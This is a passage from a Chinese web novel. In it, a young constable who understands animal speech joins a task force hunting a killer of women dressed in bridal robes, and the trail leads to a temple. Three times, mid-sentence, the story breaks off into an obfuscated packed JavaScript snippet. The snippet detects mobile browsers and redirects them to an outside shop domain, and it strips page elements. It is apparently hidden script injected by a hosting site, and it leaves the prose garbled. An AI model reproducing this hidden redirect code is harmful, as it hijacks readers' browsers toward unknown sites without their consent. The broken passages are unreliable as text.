穆青青忍不住笑了。她推开窗,将手里正吃着的半块猪肉脯撕成两半,分放在窗台两侧:“别争了,来,吃这个,都有。” 两只猫对视一眼,同时松口,小鱼干掉在地上也顾不上了,各自扑向自己的那份肉脯。瓦片吃得快,几口就吞完了,舔舔爪子,眯起眼看向穆青青。 【瓦片:喵……这个两脚兽还不错。虽然不如小鱼干香,但只要是肉肉也可以接受。】 【橘点点:喵呜~好香呀!我觉得比鱼干好吃!下次还要!】 穆青青伸手摸了摸两只猫的脑袋。瓦片傲娇地偏了偏头,却没躲开;橘点点干脆蹭了蹭她的手心,发出呼噜声。 这时,大黑也从狗窝里跑过来,蹲在窗下眼巴巴地看着。穆青青笑着把最后一点肉脯碎屑给了它。 【大黑:汪汪!好吃!穆老大最好了!】 【大黑:穆老大,下次我们还出去找我朋友玩吗?不过大黄好像又没媳妇了……它想带着小白狗私奔……】 【麻雀小灰:啾!没有我的份吗?我也要!】 穆青青:? 大黄和雪团儿准备私奔? 穆青青又抬头,看见屋檐下一只圆滚滚的麻雀正探头探脑。她从桌上捏了点儿点心渣,撒在窗台角落。小麻雀立刻飞下来,欢快地啄食。 这小小的热闹让穆青青心中温暖。无论案情多么沉重,回到这小院,看着这些小家伙,总能让她暂时放松下来。 正喂着麻雀,小荷急匆匆跑进来:“姑娘!前头来了好多人马,穿着官服,领头的那位大人……看着好眼熟啊!” 28. 京城来客 穆青青放下手中的东西,起身整了整公服衣襟说:“我这就去看看。” 刚走到廊下,便看见崔县令与宋师爷正匆匆迎了出去,她赶紧跟上。 衙门庭院里,十余骑健马列队整齐。 火把光映照下,为首一人翻身下马,墨蓝劲装,玄色披风,腰悬长剑——正是寇晟。 “崔大人,”寇晟抱拳,一身风尘仆仆却目光清亮,“寇某奉旨赴永州查案,途经丰城,听闻贵县近日破获大案,特来叨扰。” “寇大人客气,快请。”崔县令将众人引入正堂。 寇晟带来的一众捕快自有衙役安排歇息,其中还有两位女捕快。 寇晟则随崔县令他们入了内堂书房,宾主落座,上茶寒暄几句后,寇晟便问起苏家千金失踪案的详情。 崔县令简略说了,寇晟听罢,面色凝重:“竟有这等骇人听闻之事。那静安师太背后,可还牵扯其他人?” “正在查。”崔县令道,“已派人前往邻县核实情况。不过此案牵涉女子名节,那些人家未必愿意声张。” 寇晟点头:“崔大人考虑周全。”他顿了顿,目光转向侍立一旁的穆青青,“穆捕头在此案中居功至伟,寇某早有耳闻。上次幼童失踪案,也多亏穆捕头协助。” 穆青青上前行礼:“寇大人过奖,卑职分内之事。” 寇晟深深看她一眼,忽然道:“崔大人,寇某此次接到刑部文书,文书上说江州府发生连环命案,专挑独身女子下手,三月内已有四人遇害。此案诡异,当地官府束手无策,已上报刑部。部里特意从六扇门抽调出我等十余人,成立了专案组前往查办。” 堂内一静。 崔县令与宋师爷对视一眼。 穆青青垂首而立,心中却是一动:江州连环命案?江州可就在丰城县下游,那罪犯不会流窜到丰城县城来吧? “寇大人告知此事是……”崔县令试探地问道。 寇晟正色道:“崔大人,江州连环命案情形特殊。四名遇害女子死状诡异,现场痕迹纷杂,凶手显然深谙女子习性,作案手法中透着一股难以言喻的阴私意味。刑部与六扇门会商后均认为,此案探查,急需有一位心思细密、胆识过人的女子深入其中不可,她既要能体察女子日常行止间的细微异样,也需有胆魄应对不可测之险。” 他略作停顿,继续道:“不瞒大人,此番随我前来的确有两位女同僚。余肖红捕快精于药毒辨析,林霜捕快轻功卓绝、擅长追踪,皆是得力之人。然此案核心,恐需有人能乔装潜行、融入市井,乃至……在必要时设局引嫌犯现身。此等任务,非但需要胆大心细,更需临机应变之智、洞察人心之能,以及对女子处境心思的切身领会。二位同僚所长,与此略有参差。” 言至此,寇晟目光转向穆青青,语气愈发恳切:“穆捕头屡破奇案之能,寇某亲眼所见。无论是幼童失踪案中循迹辨微,还是苏家千金失踪案里抽丝剥茧、勇闯虎穴,皆展现过人之智勇。尤其难得的是,穆捕头身为女子,却兼具缜密心思与果决胆魄,且对市井人情、闺阁琐细皆有体察。若得穆捕头相助,或能从此案困局中寻得破解之机。因此,寇某冒昧,恳请崔大人暂借穆捕头一用,襄助我等侦破此案,早日擒拿真凶,以安民心,亦告慰亡灵。” 话说到此,崔县令已明其意。 简单来说就是六扇门专司大案要案,有权从地方抽调人手协查。寇晟这般客气商量,已是给足了丰城县面子。 “青青,”崔县令看向穆青青,“你意下如何?” 穆青青沉吟片刻。 江州连环命案,专挑女子下手…… 这让她想起静安师太那桩案子。倒不是说两个案子之间有什么牵扯,只是两个案子中表现出来的凶手对女子的恶意,真是如出一辙。 至于此去会面临的那些未知的危险?穆青青倒是没放在心中,选择了刑警(捕快)这一行当,那就注定了会与危险同行。 “卑职愿往。”她抱拳,“只是苏家案还未彻底结案,赵捕头又外出未归,衙中刑名事务……” “此事无妨。”宋师爷接话,“赵捕头三两日便回,这几日让底下人暂代即可。若有要紧事,郑典史也能帮着料理。” 提及郑克礼,穆青青心下微凛,但此刻不是纠结之时,她赶紧点头推荐:“卑职推荐陆金一,陆金二两兄弟暂代捕头之职,他们两兄弟默契十足,且一个身手不错,一个脑子灵活,定能胜任。” 陆金一与陆金二两兄弟,正是上回在青螺山后山地洞中随穆青青一道救出苏明绣的捕快。比起让郑克礼暂代捕头事务,穆青青心里更属意的当然是推荐手下这般踏实得力的兄弟上来历练。 穆青青的果决让寇晟眼中掠过一丝赞许,须知此行危险系数不低,一般人都会有所犹豫,更何况是穆捕头这样十六七岁的女子了。 “多谢崔大人、穆捕头。专案组尚在组建,后续还会有人赶来丰城县汇合,约需两日方能启程。届时正式公文自会送达。穆捕头可趁这两日交接事务,早做准备。” 后续还有人要赶来? 穆青青闻言心下一动,这专案组的规模,恐怕比她预想的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066531|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要大。此番江州之行,看来绝不简单。 事情便这样定下。 从正堂出来,寇晟叫住穆青青:“穆捕头留步。” 穆青青驻足转身:“寇大人还有何吩咐?” 寇晟从怀中取出一卷册子:“这是江州案现有卷宗摘要,你且看看,心中有数。”他顿了顿,声音压低几分,“此案不简单,现场诸多诡异之处,届时需麻烦你细察。” 穆青青双手接过:“谢大人。” 寇晟看她一眼,欲言又止,最终只道:“两日后出发,回见。”便转身随衙役往客院去了。 穆青青回到东厢院便迫不及待地展开那卷册子细看。 卷宗记载简略,但已透出森然寒意:四名女子皆于子夜遇害,死时身着大红嫁衣,双手被齐腕切断,现场无挣扎痕迹,门窗完好…… 她合上册子,心头沉重。这作案手法,透着一种令人不安的仪式感。 窗外又传来猫叫。 穆青青抬眼,见瓦片正蹲在窗台上,尾巴一甩一甩。 【瓦片:喵呜!上次给的肉干可香了!这次还有吗?】 【橘点点:(从墙头探出头)喵~我也要!】 【大黑:(在院中打滚)汪汪!穆老大,我也想吃肉干,是肉干,不是肉沫沫……】 穆青青推开窗,将晚上剩下的半碟花生米倒在窗台:“这次没有肉干,只有这个。” 瓦片凑近嗅了嗅,勉强吃了一颗。橘点点则挑剔地看了看,转身跳下墙头——它显然对花生米不感兴趣。 【瓦片:喵……没有肉干香。算了,勉强吃吧。】 【麻雀小灰:啾!花生米!我喜欢!】 小麻雀又飞下来,欢快地啄食。大黑也凑过来,穆青青喂了它几颗,它嚼得嘎嘣响。 看着这些小家伙,穆青青心中柔软。她轻声道:“两日后我要去江州,可能要离开一阵子。” 【大黑:汪汪!江州?多远?】 【瓦片:喵呜!听说要过三条大河!】 【橘点点:(不知何时又回来了)喵……那么远,会不会有不一样的鱼?】 穆青青笑了:“应该会有吧。等我回来,给你们带江州特产。” 【瓦片:喵!要鱼干!】 【橘点点:喵呜~我也要!】 【大黑:汪汪!我要大骨头!】 【麻雀小灰:啾!我要小米!】 一时间,窗台边叽叽喳喳好不热闹。穆青青耐心应着,方才看卷宗时的那股寒意,被这温馨的吵闹驱散了不少。 29. 大红嫁衣 接下来几日,穆青青一边整理苏家案的收尾工作,一边准备赴江州的行装。 这日午后,她正在二堂与宋师爷交接文书,郑克礼走了进来。他今日穿了一身竹青色长衫,腰间挂着一个崭新的锦缎香囊,走动间,隐约飘来一丝甜腻气息,里头似乎掺着些药草的清苦。 穆青青整理卷宗的手几不可察地微微一顿。 这香味……她近日定在哪里闻到过。 不是郑克礼身上旧日那股淡到几乎无味的,也不是春桃那盒胭脂里的花香:那盒胭脂的香气她记得清楚,是纯粹的、浓郁的玫瑰甜香。而这股味道,甜得有些刻意,底下那缕药草气,反而透出几分说不出的……熟悉。 究竟是在哪儿呢?她一时想不起确切的地方,只觉得这缕幽香像一根细软的丝线,轻轻勾住了她记忆的某个角落,却又扯不出清晰的模样。 她不动声色,继续将手中的文书一一理好。只是那缕若有若无的香气,似乎总缠绕在鼻尖,挥之不去。 “穆捕头,”郑克礼走到案前,笑容温和,“听闻你明日就要远赴江州?那可是大展身手的好机会。” “郑典史消息灵通。”穆青青垂眸,“只是协助六扇门办案罢了,不敢说大展身手。” “何必过谦。”郑克礼在她对面坐下,手指无意识地摩挲着腰间香囊,“江州那案子,我也略有耳闻。四名女子,死状凄惨……这世道,女子真是不易。” 穆青青抬眼看他:“郑典史似乎颇有感触?” “只是感慨罢了。”郑克礼轻叹一声,那缕甜腻的药草香随着他的动作又飘散过来,“我家中亦有姊妹,听闻这等事,难免心有戚戚。”他顿了顿,“穆捕头此去,定要小心。江州水浑,不比丰城。” 这话说得关切,可配上他那张永远挂着温和笑意的脸,总让穆青青觉得别有深意。 “谢郑典史提醒。”她淡淡道。 郑克礼起身,走到门边时忽然回头:“对了,苏府李姨娘前日来衙门,说是要感谢穆捕头。我让她把谢礼留在门房了,穆捕头记得去取。” 李姨娘? 穆青青心中一动。苏府那位娇媚的姨娘为何特意来谢她?而且偏偏挑她不在的时候? “有劳郑典史。”她面上不动声色。 郑克礼笑了笑,转身离去。 穆青青看着他离去的背影,眉头微蹙。这香味……她一定在哪儿闻过,不只是郑克礼身上。是在苏府?还是在别处? 她努力回想,却一时想不起来。只隐约记得,这香味让她有种莫名的不适感。 “青青,”宋师爷的声音唤回她的思绪,“这些卷宗我都看过了,没什么问题。你去江州后,县衙刑名事务我会多盯着些,郑典史那边……你也别太担心。” 穆青青看向宋师爷。这位精明的师爷,显然也察觉到了什么。 “谢师爷。”她轻声道。 宋师爷捻着断指,欲言又止,最终只说了句:“出门在外,万事小心。” 两日期限转眼便到。 出发前夜,崔夫人在内室为穆青青饯行。桌上摆了几样精致小菜,还有一壶温好的黄酒。 “青青,这杯酒我敬你。”崔夫人举杯,眼中含泪,“你虽非我亲生,但这些日子,我早把你当自家孩子看待。江州凶险,你定要平安归来。” 穆青青心头一热,举杯饮尽:“夫人放心,青青定会小心。” 崔夫人又取出一个包袱:“这里头是些应急的药材、银两,还有两套我特意改小了的男子衣衫。在外头,女子身份多有不便,该乔装时就乔装,莫要拘泥。” “多谢夫人。”穆青青赶紧双手接过,只觉得这包袱沉甸甸的,都是心意。 回到东厢院时,小荷已帮她收拾好行装。见穆青青回来,小丫头红着眼眶递上一个绣着青竹的荷包:“姑娘,这是我请人去庙里求来的平安符,您带着。” 穆青青接过,荷包针脚细密,显然费了不少功夫:“谢谢小荷。” 这天夜里,穆青青睡得并不安稳。梦中交替出现江州案现场的血红嫁衣,静安师太平静的面容,郑克礼腰间那个飘着甜腻香味的香囊…… 天未亮时,她便起身了。 推开窗,晨雾未散。墙头上,瓦片和橘点点并肩蹲着,大黑蹲在院中,麻雀小灰停在屋檐下:它们竟都在等她。 【瓦片:喵呜!两脚兽真的要走了?】 【橘点点:喵……鱼干别忘了……】 【大黑:汪汪!穆老大早点回来!】 【麻雀小灰:啾!一路平安!】 穆青青鼻子微酸。虽然她能看到小动物们的聊天记录,但她一直认为小动物们生活得自由自在又无牵无挂,并不会太关注人类的生活。没想到昨晚她随口说的一句自己要离开此地去江州一段时日,这些平日里没心没肺的小动物们居然全都记在了心上。 原来它们真的通人性。 她赶紧将昨晚特意留的肉干、鱼干分给它们,轻声道:“好好看家,等我回来。” 县衙门口,寇晟一行人已整装待发。原先十余人马如今已增至二十骑,皆是一色的鸦青劲装,外罩墨蓝薄氅,腰间佩刀制式统一,肃立时鸦雀无声,自有一股凛然迫人的气势。若算上穆青青,此行共二十一人,其中女子三位,男子十八。 穆青青没有六扇门公服,只换了一身利落的深灰束袖劲装,长发在脑后紧绾成髻,背一只半旧行囊。腰间悬一柄尺长短刀,怀里揣着小荷给的平安符,静静立在队尾,居然并不显得突兀。 县衙门口,崔县令与宋师爷站在最前,身后跟着县丞周文焕、主簿李茂才、典史郑克礼,赵捕头仍未归来,陆金一、陆金二带着好几个熟脸的捕快立在阶下。 这般阵仗,面上是送穆青青,实则各怀心思:有关切,有礼数,自然也少不了想趁此在六扇门众人跟前露个脸的。 宋师爷将一封装着公文和盘缠的信封递给穆青青:“路上小心,保重自己。” “谢师爷。” 寇晟翻身上马,向崔县令抱拳:“崔大人留步,寇某定将穆捕头平安带回。” “有劳寇大人。” 马蹄声起,二十余骑踏着晨雾出了丰城东门。穆青青回头望去,丰城县城墙在熹微晨光中渐渐模糊。 这是她来到这世间后,头一回真正远离丰城地界。 好在,她是会骑马的,或者说,这具身体会骑马。 早在当初赶往丰城的路上,尚未转走水道时,她便隐隐察觉了:面对车厢前的大马,她心里并无半分畏怯,喂草料、抚马颈的动作熟练得如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070087|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本能。 她甚至悄悄试过踩镫上鞍,身姿竟出乎意料地稳当,仿佛这般动作已重复过百遍。 此刻,她握着缰绳的手平稳有力,跨下马匹亦温顺听令。这不知从何而来的“熟稔”,在这即将远行的关口,竟成了她心底一丝不易察觉的依仗。 出了城,官道渐宽。寇晟刻意放慢马速,渐渐与穆青青并行。 “穆捕头应该看过江州的‘绣娘索命案’了?” 他开门见山。 穆青青点头,简要说了卷宗上的内容:“四名女子,皆是子夜遇害,身着嫁衣,双手被切……现场无挣扎痕迹。” “正是。”寇晟面色沉凝,“更诡异的是,每位受害者左手手背上,都有一朵三瓣红梅印记,似是特殊染料所印,七日不褪。据家人说,死者生前并无此印记。” 穆青青心中一寒:“凶手在杀人后为她们印上标记……这是某种仪式?” “我们也怀疑如此。”寇晟赞赏道,“四位受害者身份、住处皆无关联,唯二共同点是:都是独居或案发时独处的女子,且都在死前数日曾去过江州城西的‘慈恩寺’上香。” 慈恩寺? 又是寺庙,穆青青忍不住想到静心庵。 “寺中可去查探过?”她问。 “查过,并无异常。”寇晟道,“慈恩寺是百年古刹,香火鼎盛,住持慧明大师德高望重。寺中僧众背景清白,目前未发现任何可疑之处。” 他顿了顿:“但此案手法诡异,凶手显然对女子习性极为熟悉。我们需有人混入香客中再次前去探查,尤其要注意独身前往上香的女子。穆捕头是女子,又心思细腻,正可担此任。” 这摆明了是需要她去当“诱饵”啊。 不过这种案子迫不得已的情况下确实需要个“饵”,有时候会起到奇效。 “寇大人,”穆青青握着缰绳,目视前方蜿蜒的官道,忽然开口,“此案既以‘绣娘’为名,可是因首位遇害的芸娘是绣坊女工?那‘大红嫁衣’,是凶手刻意为之,还是死者本有婚约在身?” 她顿了顿,声音沉静:“嫁衣并非寻常物件,凶手连续用它来布置现场,绝不会是无心之举。” 寇晟侧目看她,眼中掠过一丝赞许:“问到要害了。此案确因首起受害者得名,但后续三人皆非绣娘,‘绣娘索命’四字,如今看来更像是民间以讹传讹的俗称。至于嫁衣——” 他神色微凝:“四名死者生前皆无近期婚约。那嫁衣亦非她们所有。形制普通,就好像是成衣铺子里成批买来的样式,但每件都崭新如初,死者穿着整齐,连发髻妆容都经人精心打理过。” 穆青青心头更是一寒。 寇晟继续道:“正因如此,我们才断定凶手绝非寻常仇杀者或劫掠者。这更像是一种仪式,或者,某种执念的投射。”他看向穆青青,“此行江州,首要任务便是赶在下次案发前,揪出这执念的源头。” 穆青青立刻问道:“我们何时能到江州?” “明日傍晚。”寇晟道,“今夜在前方驿站歇息。穆捕头可趁此时间细看卷宗,若有疑问,随时问我。” 穆青青点头。她望向官道前方,远山如黛,前路漫漫。 这趟江州之行,注定不会轻松。她轻轻握紧缰绳,眼中闪过一丝坚定。 30. 江州连环杀人案(1) 寇晟估量得很准,一行人抵达江州时正是次日傍晚。 城门处早有衙役肃立等候,神色皆是一片凝重。 连环命案像一层厚重的阴云,沉沉压在江州城头,压得人透不过气,也断了任何寒暄客套的余地。领头的捕头只朝寇晟抱了抱拳,哑声道:“大人请随我来。”便转身引路,马蹄与脚步声在暮色里敲出一种莫名紧张的节奏。 穆青青第一次来江州城,忍不住坐在马上左右张望。 傍晚时分本应是城市里最热闹的时段之一,如今望去却一片沉寂。店铺门扉紧掩,仅有的几个行人也低头疾走,风声卷着落叶,在空荡荡的石板路上打着旋:这偌大的江州城,竟比不上小小丰城县的热闹。 直抵驿馆,安顿不过片刻。寇晟与江州知府在后堂短促会面。 门扉开合间,隐约只看见两道被烛光拉长、微微前倾的身影,低语声急促。 不过一盏茶功夫,知府匆匆离去,面色晦暗。寇晟旋即转身,眼底不见半分倦色,唯余一片果决,他对候在廊下的众人令道: “所有人,偏厅议事。” 厅内烛火通明,墙上已挂起四名受害者的画像与案情简图。寇晟立于图前,沉声道:“此案已拖三月,刑部限期一月破案。今夜起,我们的人马分三路复查所有现场。余肖红你另带两人负责复验尸身证物;林霜你也另带两人勘察四处凶案周边;赵统领负责重新问询她们的亲属邻里。” 赵统领是六扇门“缉凶司”的主管,这次行动若非六扇门少主寇晟亲自出动,赵统领就应该是此次行动的话事人了。 照穆青青纵观无数影视剧的经验来看,赵统领赵义舒也是六扇门门主的强有力竞争者,天生就应该跟六扇门少主(六扇门门主内定候选人)势同水火,可不知为何,赵统领似乎对寇晟极为诚服。 穆青青正在胡思乱想之际,寇晟忽然将目光转向穆青青:“穆捕头心思细,随我去第四处现场,也就是最近一个死者崔月娥的家中。” 穆青青立刻抱拳应下。 这一通安排下来,众人心思暂且按下不表,整个行动组立即有条不紊地运转开来。驿馆内人影晃动、步履匆匆,方才还济济一堂的厅院,转眼间便已空了大半。 死者崔月娥,年三十六。自加入夫家后,先是公婆去世,紧接着丈夫也病逝了,未曾留下一儿半女。旁人都说她是个不祥之人,自此再无人敢上门说媒,她也便断了念想,独自闭门寡居,据说平日靠替绣坊描画花样底稿为生计。 崔家住在城南旧巷,一进小院,就看见院中种着一棵杏树,如今叶子都快要掉光了。房门上官府封条尚在,寇晟亲手撕开,推门时吱呀作响。 正房内陈设简朴,积了薄灰。靠墙的木桌上仍摊着未完成的纸伞面,一朵墨莲半开,笔锋细腻。墙角堆着些靛青、朱砂的色碟,虽已干涸,但能看出是常用之物。 寇晟指着靠窗的床铺:“死者崔月娥就在此处被发现,当时她就躺在这床上,身着大红嫁衣,双手齐腕而断,左手背有三瓣莲印。” 穆青青环视房间,门窗完好,桌上茶具摆放整齐,妆台上一把木梳,几根发丝缠绕:这一切都显示,那夜并无激烈冲突。 “寇大人,我可否去院中查看?”她问。 “请便。” 穆青青退出房间,在院中慢慢踱步。 时值深秋,院角几丛菊花已凋残,地上落叶未扫。她走到西窗下,那是正房唯一的窗户,窗内就是死者躺着的那张床。 窗台下还散落着枯萎许久没人收拾的菊花瓣。 她俯身细看,忽然凝目:几片淡黄色花瓣上,沾着极细微的灰白色粉末,若不细察,几与花蕊同色。 她赶紧从自己的随身工具小包内取出镊子,轻轻夹起一片,凑到眼前细看。 粉末极轻极细,在夕照下微微反光。正要凑近闻一闻,隔壁院中突然传来犬吠声。 隔壁那户人家离崔家有些距离,但两家都没砌墙,就用荆条围的篱笆,所以也能相互望见。穆青青在卷宗里见过询问笔记,隔壁那户人家没有嫌疑,因为在崔月娥遇害那天晚上,他们全家都出门走亲戚了,据说连家里的狗子都带去吃席了。 一只大黄狗扒在隔壁院子的篱笆缺口处,朝这边汪汪叫。同时,穆青青脑中光幕亮了起来: 【大黄:又来人了!又来了!】 【大黄:窗边那臭臭的味儿还在!难闻死了!】 原来那只被主人带去走人家吃席的狗子是一只大黄。 穆青青心中一动。她走近墙边,从袖中摸出块随身带的肉脯,丢了过去。 大黄狗警惕地嗅嗅,迅速叼起,嚼得嘎嘣响。 【大黄:唔……这个两脚兽还行。】 【大黄:不过还是比不上我家小主人给我啃肉骨头。汪汪,好想再吃一次那天的大肉骨头啊!】 穆青青如今知道能在光幕聊天群里说话的小动物都是通人性的,基本上都能听得懂一些人话。 于是她佯装赏花,自言自语道:“这菊花开得倒好,可惜谢了。” 大黄狗吃完肉脯,满足地摇尾巴,见她说话,又汪了一声。 【大黄:花有什么好看!窗边那臭味才该管管!】 【大黄:上回那女主人还在时,我就闻到了,她还不信,说我乱叫……】 “窗边?”穆青青抬眼看向她刚刚发现奇怪粉末的西窗。 【大黄:对啊!就那个窗户底下!一股子甜不甜苦不苦的怪味,还有蛾子老在那儿飞!】 蛾子? 穆青青立刻联想到现代科普知识:蛾子身上的粉末会让某些皮肤敏感的人过敏。 她又想起寇晟路上所说:案发皆在子夜,无挣扎痕迹。会不会是有迷药让死者失去了反抗能力?而这粉末…… 她回身快步走向寇晟:“大人,可否请余捕快来看看此物?” 余肖红属于六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076620|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扇门中的高级捕快,是门中经验丰富、能力出众的核心办案人员。但在穆青青看来,她应该属于特殊技术人员。 余捕快正在查验第二处现场,得讯后匆匆赶来。她是位二十出头的女子,面容清秀,眼神锐利,做事很是干脆利落。 赶到崔家小院后,她直接接过穆青青递上的油纸包,只瞥了一眼便道:“需回驿馆用器具细验。” 回到驿馆,余肖红在临时布置的药房里忙碌,闲杂人等不准靠近。 是的,穆青青此时就属于这个闲杂人等。 但穆青青暂时也不便插手别的小组的任务,无处可去,干脆就在门外等候,约莫半个时辰后,门开了。 “是夜昙花粉。”余肖红神色凝重,“此花江州罕见,只城西后山悬崖有几丛,夜间开放,花粉轻若尘埃,有极淡异香。” “有何特殊之处吗?”穆青青对药理方面不太了解。 “古方记载,夜昙花粉无色无味,可用来配制一种特殊粘剂,但因为配制粘剂对花粉需求量过大,使用并不广泛。它有个极特别的地方,能吸引一种夜行飞蛾——浮面蛾。此蛾嗅觉极敏,可循微量花粉飞行数里。”余肖红顿了顿,“若有人用此粉标记目标,再驯养浮面蛾追踪……” 穆青青心头一震:“那四名受害者,皆在死前数日去过慈恩寺。” “慈恩寺正在城西,后山便属寺产。”余肖红与她四目相对,都看到彼此眼中的寒意。 此时,林霜那组人也回来了,同样带回了重要发现:四处案发现场的窗棂上,均有相似的三角形浅凹痕,像是某种工具反复轻戳所致。 “已找木匠看过,”林霜道,“说是细长硬物,顶端可能有三处凸起。但具体是何物,说不准。” 寇晟听罢众人汇报,沉默良久。烛火在他脸上投下深深阴影。 “明日,”他沉声道,“你们三人各司其职:余捕快,你去追查夜昙花的来路;林捕快,你带人盯紧慈恩寺四周,留意有无异常的飞蛾踪迹。” 他顿了顿,目光落在穆青青身上,语气稍缓:“穆捕头,寺内便交由你了。你只如寻常香客那般走动观察,尤其留意那些常年出入寺中的僧侣、杂役、居士。看看有没有谁格外留意独身上香的女客。” 他看向穆青青:“你独自入寺,风险不小。我会安排两人在外接应,若有异状,立刻撤出。” “卑职明白。” 当夜,穆青青在房中细看慈恩寺资料。 慈恩寺建于前朝,香火鼎盛,住持慧明大师德高望重。寺中有僧众五十余人,其中…… 五十余名僧众的记档写了满满几张纸。从字面上看个个履历清楚,行事端正,找不出半分与那连环凶案相关的痕迹。 但穆青青心里清楚,那接连杀害四名女子、手法诡异的凶手,极可能就藏在这份看似清白的名录之中。 她推开窗,江州秋夜的凉风灌入。远处隐约传来更鼓声,二更了。 31. 江州连环杀人案(2) 晨雾还未散尽,慈恩寺的山门便在沉沉的“吱呀”声中推开了。 穆青青特意换了身半旧的藕荷色襦裙,料子洗得有些发软,颜色也不那么鲜亮了。她将头发简单挽起,插了根最寻常的木簪,再挎上个竹篮,便混进了早起的香客里。 篮子里是新请的三炷线香,用黄纸妥帖包着,一包油纸裹着些干枣,还有块半旧的素帕。 她微微低着头,步履不快不慢,与身旁那些眉眼间带着忧色、低声念着佛号的妇人们并无二致。 寺内果然比外头暖和些许,香火气混着些草木清气,弥漫在空气里。青石板路被往来鞋履磨得光滑,此刻太阳还未出来,石板上有些湿漉漉的。 她随着并不喧哗的人流,缓缓挪进大雄宝殿。 殿内烛火通明,烟气缭绕。 穆青青学着其他香客在蒲团上跪下,掌心合十,额头触上微凉的编织物。 起身时,身旁一位头发花白的老婆婆腿脚一软,她还眼疾手快地托了一把,然后便退到一旁,手指状似无意地整理着竹篮里的香束。 殿前三位知客僧正各自引导着香客。其中一位叫净尘的知客僧格外引人注目些。倒不是他相貌出奇,而是围在他身侧轻声询问的多是女客。 他约莫三十五六的年纪,身材颇为高大,肩背挺直,即便穿着宽大的僧袍,也能看出骨架匀称,面庞方正。此刻正微微俯身,倾听面前一位年轻妇人的低语。 那妇人看着不过二十出头,独自一人,手指紧张地绞着帕子。 “施主是第一次来敝寺?”僧人的声音响起,不高,却清晰温润。 妇人轻轻点头,耳根有些泛红。 “莫要慌张。”他合十,姿态恭敬而自然,“礼拜之仪,贵在心诚。请随小僧来,小心脚下台阶。” 他引着那妇人走向香炉,步伐不疾不徐,始终保持着恰到好处的距离。低声讲解时,又显得专注而耐心。 妇人按照他的指引上香、跪拜,起身时神色明显松弛了许多,朝他合十道谢,转身汇入人流。 穆青青不动声色地收回视线,将净尘的样貌身形在心里又描摹了一遍,这才挎着篮子,转身出了大殿侧门,往后院行去。 穿过一道月亮门,前殿隐约的诵经声和人语便被隔在了身后,骤然清静下来。 院内有个放生池,不大,一池碧水被嶙峋的假山石半围着,池边三三两两站着些香客,正将手里的面饼掰碎了投下去。水面顿时热闹起来,肥硕的锦鲤攒动着,争抢着,激起一圈圈的涟漪和细碎的水声。 穆青青寻了处离人群稍远的石凳坐下,取出帕子,按了按并无汗渍的额角,目光似乎被池中游鱼吸引。 【红鲤:挤什么挤!昨晚那点子香米还没抢够吗?】 【花鲤:呸!就你抢得多!那老和尚小气得很,撒一把念叨半天,还不如多撒点!】 【墨鲤:就是,念叨得我头昏……】 鱼儿们的心思混杂在哗啦水声里,断断续续的。 她站起身,像是坐久了腿麻,随意地沿着池边踱步。绕过一丛叶子边缘已泛黄卷曲的竹子,眼前景致豁然一变,原来假山石的后面还有一口古井。 井口压着厚重的青石板,旁边放着只豁了口的旧木桶。 但井台周遭却干净得扎眼。 不止是没有落叶尘土,连石缝里本该滋生蔓延的深绿青苔,都被彻底刮除,露出底下颜色略浅、质地粗糙的原石。 那刮痕细密而齐整,一道压着一道,绝不杂乱,像是有人拿着极薄、极趁手的刃片,耐心又精准地一点点清理过,非要让这井口石台显出最原本的模样不可。 穆青青蹲下身,手指虚悬在那些刮痕上方,正欲凑近细看—— “女施主。” 声音从身后传来,穆青青动作顿住,缓缓直起身,转过身来。 是个瘦削的老僧。僧衣洗得泛白,肘部打着颜色相近的补丁。 他双手合十站着,身形有些佝偻,目光却直直的落在她身上。 “此井年久,石栏松动,不宜靠近。”老僧说道,语气平直,听不出太多情绪。 穆青青合十还礼,微微低头:“多谢师父提醒。信女只是随意走走。” 老僧微微颔首:“近日寺中修缮,偏僻处多有不便,施主若要求平安,观音殿前此刻有法师讲经,正是好时候。” 说罢,他不再多言,佝偻着背,转身沿着一条小径慢慢走远。 穆青青的目光追随着他略显蹒跚却步伐稳定的背影,见他最终消失在数十步外一座灰瓦白墙的二层小楼门内。她抬眼,楼檐下悬着的旧匾上写着“藏经阁”三个字。 她记下这老僧的身形步态,转身离开井边,往香客常去的观音殿方向走。 观音殿前的小广场上,蒲团整齐排列,已坐了二三十位女客,多是中年以上的妇人。一位眉毛雪白的老法师坐在台上,声音不高,却字字清晰地讲解着《心经》。 穆青青在最后一排寻了个边角的位置跪下,双手合十,目光却轻轻飘向大殿角落。 